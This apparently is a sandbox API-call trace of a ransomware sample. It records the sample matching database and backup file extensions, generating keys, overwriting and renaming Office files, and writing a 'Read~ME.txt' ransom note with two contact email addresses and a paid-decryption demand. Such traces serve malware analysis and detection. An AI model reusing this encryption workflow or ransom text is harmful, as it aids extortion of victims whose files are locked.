	[0146.426] lstrlenW (lpString=".TXT") returned 4
	[0146.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".TXT") returned 0x0
	[0146.426] lstrlenW (lpString=".MDF") returned 4
	[0146.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".MDF") returned 0x0
	[0146.426] lstrlenW (lpString=".bdb") returned 4
	[0146.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".bdb") returned 0x0
	[0146.426] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0146.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0146.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0146.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0146.426] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3962f0) returned 1
	[0146.427] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0146.427] CryptReleaseContext (hProv=0x3962f0, dwFlags=0x0) returned 1
	[0146.427] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0146.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0146.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0146.427] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26641750493) returned 1
	[0146.427] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xc0ae04b0, dwHighDateTime=0x1d60e1e)) 
	[0146.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0146.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0146.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0146.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac4a0
	[0146.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0146.428] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac4a0 | out: hHeap=0x300000) returned 1
	[0146.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0146.428] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0146.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d06a8
	[0146.428] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0146.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870858
	[0146.428] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d06a8 | out: hHeap=0x300000) returned 1
	[0146.428] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0146.428] GetLastError () returned 0x0
	[0146.429] GetLastError () returned 0x0
	[0146.429] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0146.429] GetLastError () returned 0x0
	[0146.429] GetLastError () returned 0x0
	[0146.429] ReadFile (in: hFile=0x104, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0146.434] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.434] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0146.435] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0146.435] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.436] WriteFile (in: hFile=0x104, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0146.437] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0146.437] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0146.437] CloseHandle (hObject=0x104) returned 1
	[0146.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870858
	[0146.438] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xmlsdk5.chm"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xmlsdk5.chm.~~~~")) returned 1
	[0146.440] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2870858 | out: hHeap=0x300000) returned 1
	[0146.440] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0146.440] GetLastError () returned 0x0
	[0146.440] RtlWakeConditionVariable () returned 0x0
	[0146.440] GetCurrentThreadId () returned 0xaf0
	[0146.440] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Read~ME.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0146.442] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0146.442] WriteFile (in: hFile=0x104, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0146.444] CloseHandle (hObject=0x104) returned 1
	[0146.444] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x396488 | out: hHeap=0x300000) returned 1
	[0146.444] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x396268 | out: hHeap=0x300000) returned 1
	[0146.444] RtlWakeConditionVariable () returned 0x365f70
	[0146.444] GetCurrentThreadId () returned 0xaf0
	[0146.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".scr") returned 0x0
	[0146.444] lstrlenW (lpString=".cmd") returned 4
	[0146.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".cmd") returned 0x0
	[0146.444] lstrlenW (lpString=".dll") returned 4
	[0146.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".dll") returned 0x0
	[0146.444] lstrlenW (lpString=".bat") returned 4
	[0146.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".bat") returned 0x0
	[0146.445] lstrlenW (lpString=".cpl") returned 4
	[0146.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".cpl") returned 0x0
	[0146.445] lstrlenW (lpString=".sys") returned 4
	[0146.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".sys") returned 0x0
	[0146.445] lstrlenW (lpString=".msc") returned 4
	[0146.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".msc") returned 0x0
	[0146.445] lstrlenW (lpString=".com") returned 4
	[0146.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".com") returned 0x0
	[0146.445] lstrlenW (lpString=".lnk") returned 4
	[0146.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".lnk") returned 0x0
	[0146.445] lstrlenW (lpString=".msp") returned 4
	[0146.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".msp") returned 0x0
	[0146.445] lstrlenW (lpString=".pif") returned 4
	[0146.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".pif") returned 0x0
	[0146.445] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0146.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch="msp\r\n.pif") returned 0x0
	[0146.445] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\mso.acl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0146.447] lstrlenW (lpString=".sqb") returned 4
	[0146.447] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".sqb") returned 0x0
	[0146.447] lstrlenW (lpString=".ost") returned 4
	[0146.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".ost") returned 0x0
	[0146.448] lstrlenW (lpString=".txt") returned 4
	[0146.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".txt") returned 0x0
	[0146.448] lstrlenW (lpString=".mdt") returned 4
	[0146.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".mdt") returned 0x0
	[0146.448] lstrlenW (lpString=".BDB") returned 4
	[0146.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".BDB") returned 0x0
	[0146.448] lstrlenW (lpString=".eql") returned 4
	[0146.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".eql") returned 0x0
	[0146.448] lstrlenW (lpString=".DBF") returned 4
	[0146.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".DBF") returned 0x0
	[0146.448] lstrlenW (lpString=".EQL") returned 4
	[0146.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".EQL") returned 0x0
	[0146.448] lstrlenW (lpString=".FDB") returned 4
	[0146.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".FDB") returned 0x0
	[0146.448] lstrlenW (lpString=".EDB") returned 4
	[0146.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".EDB") returned 0x0
	[0146.448] lstrlenW (lpString=".DACPAC") returned 7
	[0146.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".DACPAC") returned 0x0
	[0146.448] lstrlenW (lpString=".VHD") returned 4
	[0146.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".VHD") returned 0x0
	[0146.448] lstrlenW (lpString=".DBV") returned 4
	[0146.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".DBV") returned 0x0
	[0146.448] lstrlenW (lpString=".dacpac") returned 7
	[0146.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".dacpac") returned 0x0
	[0146.448] lstrlenW (lpString=".sdf") returned 4
	[0146.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".sdf") returned 0x0
	[0146.448] lstrlenW (lpString=".accdb") returned 6
	[0146.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".accdb") returned 0x0
	[0146.448] lstrlenW (lpString=".DBX") returned 4
	[0146.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".DBX") returned 0x0
	[0146.448] lstrlenW (lpString=".MDT") returned 4
	[0146.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".MDT") returned 0x0
	[0146.449] lstrlenW (lpString=".SQB") returned 4
	[0146.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".SQB") returned 0x0
	[0146.449] lstrlenW (lpString=".vhd") returned 4
	[0146.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".vhd") returned 0x0
	[0146.449] lstrlenW (lpString=".bac") returned 4
	[0146.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".bac") returned 0x0
	[0146.449] lstrlenW (lpString=".mdf") returned 4
	[0146.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".mdf") returned 0x0
	[0146.449] lstrlenW (lpString=".BAK") returned 4
	[0146.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".BAK") returned 0x0
	[0146.449] lstrlenW (lpString=".BAC") returned 4
	[0146.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".BAC") returned 0x0
	[0146.449] lstrlenW (lpString=".dbs") returned 4
	[0146.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".dbs") returned 0x0
	[0146.449] lstrlenW (lpString=".vhdx") returned 5
	[0146.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".vhdx") returned 0x0
	[0146.449] lstrlenW (lpString=".NDF") returned 4
	[0146.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".NDF") returned 0x0
	[0146.449] lstrlenW (lpString=".dat") returned 4
	[0146.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".dat") returned 0x0
	[0146.449] lstrlenW (lpString=".DBS") returned 4
	[0146.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".DBS") returned 0x0
	[0146.449] lstrlenW (lpString=".CKP") returned 4
	[0146.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".CKP") returned 0x0
	[0146.449] lstrlenW (lpString=".edb") returned 4
	[0146.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".edb") returned 0x0
	[0146.449] lstrlenW (lpString=".PST") returned 4
	[0146.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".PST") returned 0x0
	[0146.449] lstrlenW (lpString=".dbf") returned 4
	[0146.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".dbf") returned 0x0
	[0146.449] lstrlenW (lpString=".SQL") returned 4
	[0146.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".SQL") returned 0x0
	[0146.449] lstrlenW (lpString=".pst") returned 4
	[0146.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".pst") returned 0x0
	[0146.449] lstrlenW (lpString=".dbv") returned 4
	[0146.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".dbv") returned 0x0
	[0146.450] lstrlenW (lpString=".SDF") returned 4
	[0146.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".SDF") returned 0x0
	[0146.450] lstrlenW (lpString=".dtxs") returned 5
	[0146.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".dtxs") returned 0x0
	[0146.450] lstrlenW (lpString=".db3") returned 4
	[0146.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".db3") returned 0x0
	[0146.450] lstrlenW (lpString=".OST") returned 4
	[0146.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".OST") returned 0x0
	[0146.450] lstrlenW (lpString=".dbx") returned 4
	[0146.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".dbx") returned 0x0
	[0146.450] lstrlenW (lpString=".DB3") returned 4
	[0146.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".DB3") returned 0x0
	[0146.450] lstrlenW (lpString=".DAT") returned 4
	[0146.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".DAT") returned 0x0
	[0146.450] lstrlenW (lpString=".VHDX") returned 5
	[0146.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".VHDX") returned 0x0
	[0146.450] lstrlenW (lpString=".ndf") returned 4
	[0146.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".ndf") returned 0x0
	[0146.450] lstrlenW (lpString=".DB") returned 3
	[0146.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".DB") returned 0x0
	[0146.450] lstrlenW (lpString=".sql") returned 4
	[0146.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".sql") returned 0x0
	[0146.450] lstrlenW (lpString=".MYD") returned 4
	[0146.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".MYD") returned 0x0
	[0146.450] lstrlenW (lpString=".DBT") returned 4
	[0146.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".DBT") returned 0x0
	[0146.450] lstrlenW (lpString=".ACCDB") returned 6
	[0146.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".ACCDB") returned 0x0
	[0146.450] lstrlenW (lpString=".fdb") returned 4
	[0146.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".fdb") returned 0x0
	[0146.451] lstrlenW (lpString=".bak") returned 4
	[0146.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".bak") returned 0x0
	[0146.451] lstrlenW (lpString=".myd") returned 4
	[0146.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".myd") returned 0x0
	[0146.451] lstrlenW (lpString=".DTXS") returned 5
	[0146.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".DTXS") returned 0x0
	[0146.451] lstrlenW (lpString=".ckp") returned 4
	[0146.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".ckp") returned 0x0
	[0146.451] lstrlenW (lpString=".dbt") returned 4
	[0146.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".dbt") returned 0x0
	[0146.451] lstrlenW (lpString=".db") returned 3
	[0146.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".db") returned 0x0
	[0146.451] lstrlenW (lpString=".TXT") returned 4
	[0146.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".TXT") returned 0x0
	[0146.451] lstrlenW (lpString=".MDF") returned 4
	[0146.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".MDF") returned 0x0
	[0146.451] lstrlenW (lpString=".bdb") returned 4
	[0146.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".bdb") returned 0x0
	[0146.451] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0146.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0146.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0146.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0146.451] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x396488) returned 1
	[0146.453] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0146.453] CryptReleaseContext (hProv=0x396488, dwFlags=0x0) returned 1
	[0146.453] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0146.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0146.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0146.453] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26644302205) returned 1
	[0146.453] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xc0b2c770, dwHighDateTime=0x1d60e1e)) 
	[0146.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0146.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0146.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0146.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280bdd0
	[0146.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0146.453] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bdd0 | out: hHeap=0x300000) returned 1
	[0146.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0146.453] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0146.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d06a8
	[0146.454] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0146.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870858
	[0146.454] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d06a8 | out: hHeap=0x300000) returned 1
	[0146.454] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0146.454] GetLastError () returned 0x0
	[0146.454] GetLastError () returned 0x0
	[0146.454] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0146.454] GetLastError () returned 0x0
	[0146.454] GetLastError () returned 0x0
	[0146.455] ReadFile (in: hFile=0x104, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x1f8fec0*=0xaa26, lpOverlapped=0x0) returned 1
	[0146.458] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffff55da, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.458] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xaa26, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0xaa26, lpOverlapped=0x0) returned 1
	[0146.458] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
